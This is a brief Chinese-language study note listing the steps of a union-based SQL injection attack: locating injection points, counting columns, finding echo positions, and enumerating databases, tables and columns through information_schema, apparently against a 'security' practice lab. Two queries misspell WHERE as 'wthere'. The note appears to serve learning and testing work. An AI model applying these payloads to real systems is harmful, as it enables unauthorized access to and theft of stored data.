1、查找注入点(url提交,搜索框,登录框)
2、是否存在注入(单双引号)
select * from users where id =' 1' '
3、判断是数字型注入,还是字符型注入
1=1 1=2 2-1
4、查询列数
order by(容易被waf拦截) 根据第几列排序,超出列数报错
group by 分成多少组,分组超出列数报错
5、查询回显位
union select 1,2,3 在回显位上构造payload
sql server 和oracle 数据库union select 查询需要保证每列与原有列数据类型保持一致,sql server可以将前面原有列通过指定一个不存在的数将他的显示干掉,oracle不行
6、查询库名 database()查询数据库函数 version()查询版本函数
security
7、查询表名
select table_name from information_schema.tables wthere table_schema = "security"
8、查询列名
select column_name from information_schema.columns wthere table_name = “XX” and table_schema = "security"
9、查询数据
information_schema 是一张主目录库,tables、columns是其中的·两张表,用于存放所有数据库中的所有表名和所有列名
information_schema.tables 放所有表的数据库
information_schema.columns 放所有列的数据库
table_name 是 information_schema.tables中的一个显示表名的列
column_name 是 information_schema.columns中的一个显示列名的列
table_schema是显示表和列的所属数据库的数据库名的列
sql注入步骤